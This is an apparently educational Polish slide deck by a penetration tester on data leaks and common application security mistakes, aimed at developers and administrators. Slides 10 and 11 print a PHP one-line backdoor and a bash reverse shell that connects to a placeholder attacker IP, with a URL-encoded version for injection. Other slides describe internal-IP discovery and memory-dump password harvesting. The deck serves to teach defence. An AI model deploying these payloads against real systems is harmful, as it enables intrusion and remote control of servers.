Prezentacja zagadnienia wycieku danych oraz możliwości pozyskania i późniejszego wykorzystania podczas ataków. Omówienie typowych błędów popełnianych podczas projektowania, kodowania oraz wdrażania aplikacji, które mają negatywne konsekwencje dla bezpieczeństwa aplikacji. Prezentacja prostych metod identyfikacji wycieków danych i pozyskiwania istotnych informacji z wykorzystaniem publicznie dostępnych i darmowych narzędzi, które każdy może przetestować w praktyce. Prezentowane metody i techniki nie wymagają dogłębnej wiedzy i nie są skomplikowane, co ułatwia ich zapamiętanie, jak również późniejsze wykorzystanie podczas testów bezpieczeństwa własnych aplikacji, zwłaszcza w momencie wdrażania ich w środowisku produkcyjnym. Opisy wycieków danych bazują na rzeczywistych sytuacjach, jakie spotykane są podczas przeprowadzania testów penetracyjnych, a więc obejmują błędy i niedociągnięcia, które są powszechnie spotykane, a które stanowią potencjalną furtkę dla atakującego. W skład poruszanych zagadnień wchodzą m.in.: 1. Błędne założenia projektowe podstawą przyszłych kłopotów 2. Typowe błędy, które niosą poważne konsekwencje 2. Na co zwraca uwagę atakujący 3. Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji 4. Analiza działania aplikacji 5. Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja środowisk produkcyjnych 6. "Bez komentarza" :) 7. Pozyskiwanie wrażliwych danych z pamięci operacyjnej 8. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki? 9. Aplikacje mobilne a bezpieczeństwo Wykład ukierunkowany pod kątem przekazania praktycznej wiedzy, projektantom, developerom i administratorom oraz wskazania konsekwencji braku właściwego podejścia do polityki bezpieczeństwa.

2. Wyciek danych w aplikacjach
Artur Michał Kalinowski

3. Bio
Artur Michał Kalinowski (amk78)
– pentester w LogicalTrust
– wcześniej pentester, administrator, programista, ...
– wykładowca (informatyka śledcza, bezpieczeństwo IT…)
– współpraca z {„gov”} w zakresie informatyki śledczej
i bezpieczeństwa IT
– członek zespołu administracyjnego na forum związanym
z bezpieczeństwem IT
– autor książki „Metody inwigilacji i elementy informatyki
śledczej”

4. ● Testy penetracyjne
● Audyty bezpieczeństwa
● Szkolenia
● Konsultacje
● Informatyka śledcza
● Aplikacje mobilne
> 10 lat - testy bezpieczeństwa
Edukacja: www.bothunters.pl ~ 8 lat blogowania o cyberprzestępcach
Confidence, SEMAFOR, SECURE, Atak i Obrona, Security Case Study,
Internet Banking Security, ISSA, SecureCON, SEConference, SekIT,
PTI, Open Source Security, PLNOG (…)

5. Zagadnienia
● Błędne założenia projektowe podstawą przyszłych kłopotów
● Typowe błędy, które niosą poważne konsekwencje
● Na co zwraca uwagę atakujący
● Darmowe narzędzia ułatwiające pozyskanie pożądanych informacji
● Analiza działania aplikacji
● Pozostałości developerskie, środowiska testowe oraz niewłaściwa konfiguracja
środowisk produkcyjnych
● "Bez komentarza" :)
● Pozyskiwanie wrażliwych danych z pamięci operacyjnej
● Czy stosowanie restrykcyjnych zabezpieczeń ułatwia ataki?
● Aplikacje mobilne a bezpieczeństwo

6. Wyciek danych
Źródło:
http://www.redorbit.com/media/uploads/2013/09/dataleaks.jpg--
2016-03-31
Źródło: Google
Źródło: http://swagct.com/uploads/2012/03/1_1332498132.jpg

7. Wyciek danych
● Czym jest wyciek danych i z czego często wynika
– niewiedza, brak motywacji, brak polityk, wzorców, zasad
– niewłaściwe środowisko, konfiguracja, brak odpowiednich rozwiązań
– presja czasu, budżet (przesunięcia, cięcia, ograniczenia)
– chęć zemsty, sławy
Źródło: http://www.observeit.com/sites/default/files/content_images/blog_images/data-leak1.jpg

8. Wyciek danych
● Wycieki danych
– przypadkowe / niezamierzone (np. na skutek błędów)
– celowe (np. pozostawione celowo luki)
– prowokowane (np. celowe doprowadzenie do wycieku poprzez
zainicjowanie odpowiednich działań)
Źródło: http://blogs.intralinks.com/collaborista/wp-content/uploads/sites/2/2014/02/Bitcoin2-696x398.png

9. Wyciek danych
Pozornie niewinne żarty mogą być z łatwością zaadoptowane do rzeczywistych ataków.

10. Wyciek danych
$_GET['a']($_GET['b']);
Niektóre wycieki danych mogą być wynikiem celowo pozostawionych furtek.

11. Wyciek danych
Reverse shell z użyciem basha:
bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1
tworzymy odpowiedni plik po stronie serwera, który następnie
uruchamiamy:
echo "/bin/bash -i >& /dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b &&
/bin/bash b
pamiętamy o odpowiednim kodowaniu:
php -r "echo urlencode('echo "/bin/bash -i >&
/dev/tcp/IP_ATAKUJACEGO/443 0>&1" > b && /bin/bash b');"
echo+%22%2Fbin%2Fbash+-i+%3E%26+%2Fdev%2Ftcp
%2FIP_ATAKUJACEGO%2F443+0%3E%261%22+%3E+b+%26%26+
%2Fbin%2Fbash+b

12. Wyciek danych
umieszczamy dane w URLu ...
… w efekcie serwer łączy się z nami
i uzyskujemy dostęp do wiersza poleceń:

13. Wyciek danych
● Częste przyczyny i źródła wycieku danych
sieć m.in. :
● niewłaściwa ochrona komunikacji,
● zła separacja,
● niewłaściwe zarządzanie dostępem i monitoring
Źródło: http://infosystem1.com/wp-content/uploads/2013/09/network-security.jpg

14. Wyciek danych
● Częste przyczyny i źródła wycieku danych
– przykład – pozyskanie IP z sieci wewnętrznej
1) zmiana wersji protokołu z HTTP/1.1 na HTTP/1.0
2) usunięcie pola host z nagłówka żądania
w efekcie:
● atakujący zna IP serwera
● atakujący zna adresację w sieci, w której znajduje się serwer
proste wykorzystanie:
● img z adresem z ujawnionej puli + /icons/right.gif
● zdarzenie onload lub onerror
● wysłanie linka do spreparowanej strony użytkownikowi
w firmie

15. Wyciek danych
W efekcie uzyskujemy adresy IP z sieci wewnętrznej, na których uruchomiony jest,
z dużym prawdopodobieństwem, serwer Apache.
Analogicznie, na podstawie charakterystycznych lokalizacji zasobów, można
zidentyfikować również obecność innych aplikacji w sieci lokalnej.

16. Wyciek danych
● Częste przyczyny i źródła wycieku danych
system m.in. :
● niewłaściwa konfiguracja (np. dostępu, aktualizacji,
ochrony danych, wpad),
● zrzuty pamięci (np. w wyniku błędów bądź inicjowane
przez użytkownika)
● system plików:
– pliki tymczasowe
– pliki wymiany, hibernacji
– metadane
– usunięte pliki
– slack space
– … Źródło:http://osheaven.net/wp-content/uploads/2011/07/data-security.jpg

17. Wyciek danych

18. Wyciek danych
● Częste przyczyny i źródła wycieku danych
usługi:
● banery,
● dane w nagłówkach odpowiedzi, informacje o systemie
i komponentach,
● komunikaty o błędach,
● znane zasoby,
● pliki konfiguracyjne (w tym też .htaccess, robots,
a czasem nawet .bash_history)
● .csv, .svn, .git,
● /server-status, /status,
● VRFY

19. Wyciek danych
● Częste przyczyny i źródła wycieku danych
W przykładzie wykorzystano apache.org. W celu zobrazowania ewentualnego wycieku danych
użyto fikcyjnych parametrów.

20. Wyciek danych
● Częste przyczyny i źródła wycieku danych

21. Wyciek danych
● Częste przyczyny i źródła wycieku danych
aplikacje m.in. :
– pliki konfiguracyjne, includowane,
– intuicyjne nazwy zasobów,
– walidacja jedynie po stronie UI,
– niewłaściwe filtrowanie potencjalnie szkodliwego kodu,
– poleganie na danych wejściowych z niezaufanych źródeł,
– niewłaściwa obsługa uploadu plików,
– brak weryfikacji integralności plików danych lub konfiguracji,
– brak zaciemniania kodu,
– niewłaściwe miejsca składowania danych,
– logowanie danych wrażliwych,
– ...

22. Wyciek danych
● Częste przyczyny i źródła wycieku danych
Źródło: Google

23. Wyciek danych
● Częste przyczyny i źródła wycieku danych
dane:
● backupy (w tym niewłaściwa polityka składowania, przesyłu, usuwania)
● statystyki, logi, dane przykładowe/testowe
● pliki z metadanymi (dokumenty, grafika)
użytkownicy:
●
wklejenie danych ze schowka,
● użycie podobnych haseł,
● omyłkowe użycie haseł,
●
przesłanie danych (np. chęć pomocy, pokazania czegoś ciekawego)
● przesłanie danych w złe miejsce (np. wydruk),
● pozostawienie wydruku,
●
niewłaściwe zniszczenie danych (np. wyrzucenie do kosza
błędnie/częściowo wydrukowanych dokumentów)

24. Błędne założenia projektowe
● Niewłaściwa walidacja danych
– walidacja jedynie części danych
np. danych z GET/POST
– walidacja po stronie aplikacji (UI)
bez walidacji po stronie serwera
– brak walidacji typów zmiennych
– akceptacja danych dostarczonych w dowolny sposób
(POST→GET, Cookie → GET itp.)
– neutralizacja potencjalnie szkodliwych danych na wyjściu,
a nie na wejściu
Źródło: http://i.imgur.com/GluNcro.jpg

25. Błędne założenia projektowe
● Niewłaściwa walidacja danych
– brak walidacji niektórych danych
np. pola Host przesyłanego w żądaniu
– poleganie na wartościach kontrolowanych przez użytkownika
User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)
– walidacja danych pod względem właściwego typu, ale bez
uwzględnienia granicznych wartości
id=-1, id=9999999999999
– brak walidacji pod kątem dopuszczalnych wartości m.in.:
możliwych do wczytania plików,
możliwych nazw przesyłanych plików,
identyfikatorów rekordów danych dostępnych dla danego użytkownika
...

26. Błędne założenia projektowe
● Niewłaściwa ochrona komunikacji
– brak użycia funkcji kryptograficznych
– kodowanie zamiast szyfrowania
– użycie „własnych” (podatnych na
kryptoanalizę) rozwiązań
– łączenie treści (na jednej stronie dostępne
treści pobierane przy użyciu szyfrowanego
oraz nieszyfrowanego połączenia)
– brak wymuszenia szyfrowania lub
przesyłania danych szyfrowanymi
kanałami (HSTS, flaga Secure)
– niewłaściwe użycie funkcji (np. random,
zamiast jej bezpiecznego odpowiednika)
– użycie „słabych” funkcji hashujących
i algorytmów kryptograficznych
– brak weryfikacji poprawności certyfikatów Źródło: http://bi.gazeta.pl/im/a4/89/dd/z14518692Q,Klucz-zostawil-
pod-wycieraczka.jpg

27. Błędne założenia projektowe
● Niewłaściwe składowanie danych
– brak szyfrowania istotnych informacji
– brak weryfikacji integralności danych
– wrażliwe dane w niewłaściwych miejscach (SD)
– kopie zapasowe, logi, uploadowane pliki
w publicznie dostępnych miejscach
– niewłaściwe usuwanie/pozostawienie danych
– błędne zarządzanie pamięcią cache
– zapamiętywanie danych formularzy
– znaki wykorzystywane jako separatory pól nie
są neutralizowane w danych wejściowych (np.
dane zapisywane do pliku, kolumny oddzielone
znakiem „|”, a znak „|” nie jest filtrowany i może
być użyty np. w nazwie użytkownika).
Źródło:
https://d.justpo.st/media/images/2014/09/10dd7c2fc1
7e23e9034fdff552bf5f71.jpg

28. Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych
– dopuszczenie użycia znaków, które mogą wpłynąć na
logikę działania aplikacji (np. zmienić treść zapytania
sql)
– oczyszczanie danych podczas odsyłania treści do
aplikacji, a nie przed zapisem danych wejściowych do
bazy
– mniejsze restrykcje w stosunku do danych
importowanych („słabsza” walidacja)
– poleganie jedynie na frameworku (założenie, że nikt
nie utworzy własnej funkcji obsługującej dane, że nikt
nie zmieni konfiguracji itp.)

29. Błędne założenia projektowe
● Niewłaściwe oczyszczanie danych
Źródło: https://hackadaycom.files.wordpress.com/2014/04/18mpenleoksq8jpg.jpg?w=636

30. Błędne założenia projektowe
● Niewłaściwe zarządzanie uprawnieniami
– brak spójności pomiędzy funkcjami dostępnymi w interfejsie
użytkownika, a rzeczywistymi uprawnieniami (ograniczenie
na zasadzie braku dostępnej danej funkcji w interfejsie)
– brak ochrony zasobów (np. uploadowanych plików, znając
nazwę i lokalizację można pozyskać plik)
– dostęp na podstawie danych z niezaufanych źródeł (np. na
podstawie IP przesyłanego w X-Forwarded-For)
– brak weryfikacji integralności uprawnień (możliwość zmiany
uprawnień poprzez modyfikację plików konfiguracyjnych,
zmianę cookies, parametrów URL itp.)
– ...

31. Błędne założenia projektowe
● Brak uwzględnienia kwestii bezpieczeństwa
– wrażliwe dane lub tokeny przesyłane w URL
– linki do zewnętrznych serwisów ze stron, których
URLe zawierają istotne informacje (referer)
– brak właściwej obsługi wyjątków, szczegółowe
informacje o błędach, w tym fragmenty zapytań
i danych
– użycie niezaufanych lub nieaktualnych
komponentów, brak uwzględnienia właściwej
polityki aktualizacji i utrzymania aplikacji
– ...

32. Błędne założenia projektowe

33. Błędne założenia projektowe

34. Typowe błędy, które niosą poważne konsekwencje
● XSS
Niewłaściwie oczyszczane dane wejściowe
umożliwiają osadzenie własnego kodu, a przez to
przejęcie kontroli nad treścią wyświetlanej strony.
– śledzenie działań użytkownika
– dostęp do treści przeznaczonej dla danego
użytkownika (w tym informacji wrażliwych)
– możliwość modyfikacji treści (manipulacji danymi,
osadzenia „szkodliwych” treści np. plików)
– przekierowanie na fałszywą stronę (phishing)

35. Typowe błędy, które niosą poważne konsekwencje
● XSS – pozyskanie hasła

36. Typowe błędy, które niosą poważne konsekwencje
● XSS – w połączeniu z Metasploitem

37. Typowe błędy, które niosą poważne konsekwencje
● SQLi
Często widoczne fragmenty zapytań bądź nawet danych.
Informacje o błędach ujawniające rodzaj stosowanego
rozwiązania, charakterystyczne zachowanie, opóźnienia
czasowe itp.
– pozyskanie informacji o środowisku
– pozyskanie informacji o użytkownikach
– pozyskanie danych z bazy
– manipulacja danymi (np. zmiana sald)
– dodanie użytkownika do systemu
– podwyższenie uprawnień użytkowników
– dostęp do plików
– umieszczenie „złośliwych” skryptów, dostęp do konsoli

38. Typowe błędy, które niosą poważne konsekwencje

39. Typowe błędy, które niosą poważne konsekwencje

40. Typowe błędy, które niosą poważne konsekwencje

41. Typowe błędy, które niosą poważne konsekwencje

42. Typowe błędy, które niosą poważne konsekwencje
● XXE
Pozyskanie danych z systemu; plików
konfiguracyjnych, listy użytkowników, danych
o środowisku...
– zakłócenie pracy aplikacji (DoS)
– pozyskanie kodu źródłowego np. .php, w tym
ujawnienie danych dostępowych do baz itp.
– ...

43. Typowe błędy, które niosą poważne konsekwencje
● XXE – pozyskanie listy użytkowników systemu

44. Typowe błędy, które niosą poważne konsekwencje
● XXE – odczyt plików .php (najpierw szukamy...)

45. Typowe błędy, które niosą poważne konsekwencje
● XXE– odczytanie zawartości pliku php

46. Typowe błędy, które niosą poważne konsekwencje
● Brak szyfrowania danych
– nieuprawniony dostęp do informacji i jej ujawnienie
– pozyskanie danych uwierzytelniających
– działania w imieniu uprawnionego użytkownika
– manipulacja przesyłanymi danymi
– zakłócenie pracy aplikacji
– ...

47. Typowe błędy, które niosą poważne konsekwencje
● MITM - pozyskanie przesyłanych danych

48. Typowe błędy, które niosą poważne konsekwencje
● Wykorzystanie przewidywalnych wartości
● przewidywalne identyfikatory (w tym id sesji),
● wartości tokenów,
● nazwy kont użytkowników,
● lokalizacja i nazwy plików...
– dostęp do danych innych użytkowników
– dostęp do plików z poziomu niezalogowanych
użytkowników
– przejęcie sesji innego użytkownika
– dokonywanie/anulowanie zamówień jako inny użytkownik
– ...

49. Typowe błędy, które niosą poważne konsekwencje
● Brak zaciemnienia kodu
Łatwa analiza działania oraz identyfikacja
potencjalnych podatności.
– hardcodowane dane (hasła)
– możliwość wyszukiwania podatnych funkcji
i niebezpiecznych konstrukcji (grep + słownik)
– ujawnienie struktur danych, zapytań
– ...

50. Typowe błędy, które niosą poważne konsekwencje
● Odsyłanie informacji o błędach
Pozwala pozyskać istotne dane i zredukować czas
potrzebny na rozpoznanie oraz ilość informacji w logach,
które mogą wskazywać na rozpoczęcie ataku.
– identyfikacja użytkowników (np. wewnętrznych,
wykorzystywanych po stronie serwera)
– identyfikacja technologii
– informacje o stosowanym oprogramowaniu
– informacje o lokalizacji zasobów
– identyfikacja użytych funkcji i przyczyn błędów
– wskazówki (jakie wartości są akceptowane – ułatwia dalsze ataki)
– identyfikacja obecności użytkownika, zasobu itp.

51. Typowe błędy, które niosą poważne konsekwencje
● Użycie niewłaściwych funkcji
– przepełnienia bufora (pominięcie logowania, dostęp do danych)
– niewłaściwe generatory pseudolosowe (przewidywalne wartości)
– niewłaściwe funkcje hashujące (możliwość kolizji)
– niewłaściwe algorytmy szyfrowania lub protokoły (możliwość pozyskania
treści przesyłanych w szyfrowanym połączeniu)
– …
● Niewłaściwe wytwarzanie oprogramowania
● możliwe debugowanie,
● brak ochrony stosu,
● pozostawianie dokumentacji roboczej i informacji o błędach w publicznym miejscu,
● wykorzystanie gotowego kodu z innych aplikacji bez uwzględniania specyfikacji
obecnych wymagań,...
– możliwość przejęcia kontroli nad aplikacją, a nawet systemem

52. Typowe błędy, które niosą poważne konsekwencje

53. Na co zwraca uwagę atakujący
● publicznie dostępne informacje
– użycie wyszukiwarek celem zdobycia informacji m.in. o:
● ostrzeżeniach, błędach, komunikatach,
● plikach składowych (index.of),
● panelach administracyjnych,
● rodzajach plików (np. .asp, .php), lokalizacji, kopii plików
● metadanych
● adresach URL
– wpisy na forach
● dyskusje programistów związanych z daną aplikacją
● dyskusje związane ze znalezionymi przez „wolontariuszy” lukami
● identyfikacja technologii: banery, nagłówki, informacje o błędach,
środowisku, komponentach, domyślne strony i zasoby, pliki składowe
– poszukiwanie luk związanych ze zidentyfikowaną technologią
i komponentami

54. Na co zwraca uwagę atakujący
● rodzaj aplikacji, przetwarzanych danych, powiązania z innymi
usługami (czy na serwerze obecne inne usługi, które można
wykorzystać)
– przewidywalność danych (tokenów, identyfikatorów, id sesji, nazw plików)
– obecność logów, statystyk, paneli administracyjnych
● konfiguracja środowiska (czy domyślna, robocza itp.)
– domyślne zasoby,
– stosowane mechanizmy zabezpieczeń i monitoringu
– aktualność komponentów
– raportowanie błędów
– ochrona przed zautomatyzowanymi działaniami
● mechanizmy filtrowania i walidacji
● mechanizmy uploadu/backupu/importu
● polityki bezpieczeństwa: haseł, backupów, utrzymania aplikacji

55. Darmowe narzędzia ułatwiające pozyskanie
pożądanych informacji
● Serwisy online
– https://archive.org/web/
– Bing, Google, …
– netcraft
– https://www.shodan.io/
– robtex, virustotal, …
– Facebook, LinkedIn, ...
...
Źródło: archive.org
Źródło: www.shodan.io

56. Darmowe narzędzia ułatwiające pozyskanie
pożądanych informacji
– skanery (np. OWASP ZAP, nikto, sqlmap, Nmap
z odpowiednimi skryptami NSE…)
– skanery zasobów (np. DirBuster)
– fuzzery (np. wfuzz)
– proxy (np. OWASP ZAP, Burp)
– frameworki (np. Metasploit)
– łamacze haseł/odgadywanie haseł (np. john, Hydra, Medusa)
– narzędzia konsolowe:
curl, openssl, (n)grep, theHarvester, foremost, driftnet, dsniff,
exiftool, gooscan, goofile ...
– inne (np. evilgrade)

57. Analiza działania aplikacji
● czy aplikacja da się uruchomić w kontrolowanym przez nas
środowisku (możliwość monitorowania, wstrzymania,
podmiany danych, odczytania tymczasowych danych przed
usunięciem)
● z jakich komponentów korzysta i jak je weryfikuje (możliwość
podmiany)
● jak przetwarza dane wejściowe (czy i na którym etapie je
waliduje/oczyszcza)
● czy łączy się do innych hostów (czy połączenie szyfrowane)
● jakich funkcji używa (czy są one bezpieczne)
● gdzie zapisuje dane robocze i co umieszczane w logach
● jakie informacje umieszcza w komunikatach o błędach

58. Pozostałości developerskie
● odwołania do środowiska developerskiego w kodzie
● zasoby testowe, konsole testowe/developerskie
● konta testowe
● informacje logowane w konsoli
● flagi/parametry umożliwiające uwierzytelnienie
● funkcje resetowania ustawień, instalatory
● zasoby związane z rozwojem aplikacji (repozytoria plików, historia
zmian, zadania do wykonania, dokumentacja projektowa/testowa)
● pliki tymczasowe, kopie, stare wersje plików
● zrzuty pustych baz (struktur) lub stanów początkowych
● zdalny dostęp, aktywne dodatkowe usługi
● niewyczyszczone logi oraz dane testowe

59. Pozostałości developerskie

60. Pozostałości developerskie

61. Środowiska developerskie i testowe
● niewłaściwa kontrola dostępu (publiczny dostęp do
aplikacji lub jej zasobów)
● zindeksowanie informacji o błędach oraz struktury
katalogowej
● wycieki fragmentów kodu
● brak wykorzystania kryptografii
● tylne furtki (do szybkiego dostępu i zmian)
● modyfikacje z pominięciem procesu dokumentowania
zmian
● użycie rzeczywistych danych (danych produkcyjnych)
● ...

62. Środowiska produkcyjne
● niewłaściwe wdrożenia
– niekompletna lub domyślna konfiguracja
– niekompletny lub nieprzetestowany kod
– szybkie poprawki funkcjonalne lub maskujące błędy
– pozostawienie danych lub dostępów testowych
– niewłaściwe przekazanie danych dostępowych
– niedostateczne przetestowanie/poznanie rozwiązań przez użytkowników
i administratorów
● utrzymanie aplikacji
– niewłaściwe procedury backupów (tworzenia/składowania/przywracania)
– niewłaściwe procedury aktualizacji
– niewłaściwa/niebezpieczna konfiguracja mechanizmów kontroli dostępu i wymiany
danych
● migracja i modyfikacje funkcjonalności
– migracja danych we własnym zakresie (własne rozwiązania)
– działania poza interfejsem aplikacji (np. operacje bezpośrednio na bazie)

63. Komentarze
● szczegółowe opisy kodu (np. parametrów funkcji)
ułatwia atakującemu analizę aplikacji i szukanie luk
● opisy planowanych funkcjonalności (np. „tu będzie dodatkowe pole
komentarza”)
ciekawe czy jest już to po stronie serwera obsługiwane?
● opisy problemów (np. „tu coś się psuło, więc trzeba było wyłączyć”)
czy wyłączone tylko w UI, czy po stronie serwera też wyłączona obsługa?
coś się psuje – dobry trop!
● zakomentowane fragmenty funkcji – oznacza, że z jakiegoś powodu
funkcje zostały wyłączone
z jakiego?, może coś nie działało jak trzeba?
● ToDo (np. „zrobić walidację”, „ograniczyć zakres”, „ograniczyć
uprawnienia”)
dobrze wiedzieć co nie działa :)

64. Pozyskiwanie wrażliwych danych z pamięci
operacyjnej
● zrzut pamięci procesu
np. procdump -ma program.exe
● zrzut całej pamięci RAM
np. Dumpit.exe
● zrzut pamięci jądra
np. C:WindowsMinidumpMinidump.dmp
● pozyskiwanie ciągów tekstowych ze zrzutów
np. strings -n 6 program.exe.dmp > program.exe.txt
● pozyskiwanie danych binarnych
np. foremost -o program.exe.dmp

65. Pozyskiwanie wrażliwych danych z pamięci
operacyjnej

66. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia
ataki
● Podejście atakującego
– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład – w firmie stosowane są hasła, które muszą:
● mieć przynajmniej 12 znaków
● zawierać zarówno małe jak i wielkie litery
● zawierać cyfry
● zawierać znaki specjalne
co robi atakujący:
● przeszukuje zasoby pamięci/danych np. z użyciem np. strings + grep i szuka
ciągów, które zawierają jednocześnie:
– duże i małe litery, cyfry, znaki specjalne i mają przynajmniej 12 znaków
● dzięki temu znacznie ogranicza zbiór potencjalnych haseł np.
z kilkudziesięciu/kilkuset MB (wielkość zrzutu procesu), do około kilku KB
(np. 100 możliwych ciągów), które odpowiadają wzorcowi przyjętemu dla hasła
● atak wymaga jedynie sprawdzenia niewielkiej ilości potencjalnych haseł

67. Czy stosowanie restrykcyjnych zabezpieczeń ułatwia
ataki
● Podejście atakującego
– wykorzystać siłę i zasoby przeciwnika przeciwko niemu
przykład 2 – w firmie hasła do systemów i aplikacji są
zmieniane co 30 dni:
● jest wielu użytkowników
● użytkownicy mają dostęp do wielu systemów/aplikacji
● muszą się codziennie wiele razy logować
jakie wnioski można z tego wyciągnąć atakujący:
● hasła do systemów i aplikacji będą podobne
● użytkownicy użyją schematów np. będą tworzyć hasła w
oparciu o miesiące lub wybrane słowo i kolejne dni
● pozyskanie hasła do jednej z aplikacji otwiera furtkę do innych

68. Aplikacje mobilne a bezpieczeństwo
● Częste błędy:
– brak zabezpieczeń kryptograficznych dla istotnych danych
– „wrażliwe” informacje zapisywane do logów
– brak weryfikacji certyfikatów
– dane zapisywane na karcie SD
– zła randomizacja
– brak „zaciemnienia” kodu
– osadzanie haseł i innych „wrażliwych” danych w aplikacji
– api mobilne mniej restrykcyjne w stosunku do restrykcji w
przypadku stron WWW

69. Aplikacje mobilne a bezpieczeństwo

70. Aplikacje mobilne a bezpieczeństwo

71. Podsumowanie
● nawet pozornie nieszkodliwe informacje mogą być cenną
wskazówką dla atakującego
● jeżeli jakieś dane wyciekną do Internetu, to najprawdopodobniej
zostaną powielone n razy w x miejscach
● atakujący często może pozyskać dużo istotnych danych pasywnie
- bez nawiązywania połączenia z naszymi serwerami/siecią
● nigdy nie należy zakładać, że atakujący użyje aplikacji zgodnie
z jej przeznaczeniem i w spodziewanym środowisku
● wycieki informacji/danych są zaproszeniem dla atakującego
i często prowadzą do przykrych konsekwencji
● wycieki mogą powstawać w najmniej spodziewanych miejscach,
często przez roztargnienie, niedopatrzenie, niewiedzę
● fałszywy, kontrolowany wyciek może być ciekawą bronią

72. Dziękuję za uwagę
● Pytania?
Prezentowany materiał przeznaczony wyłącznie do celów edukacyjnych.
Wszelkie nazwy, zdjęcia, znaki firmowe i towarowe niebędące własnością prelegenta oraz firmy, należą
do ich właścicieli i zostały użyte jedynie w celach informacyjnych.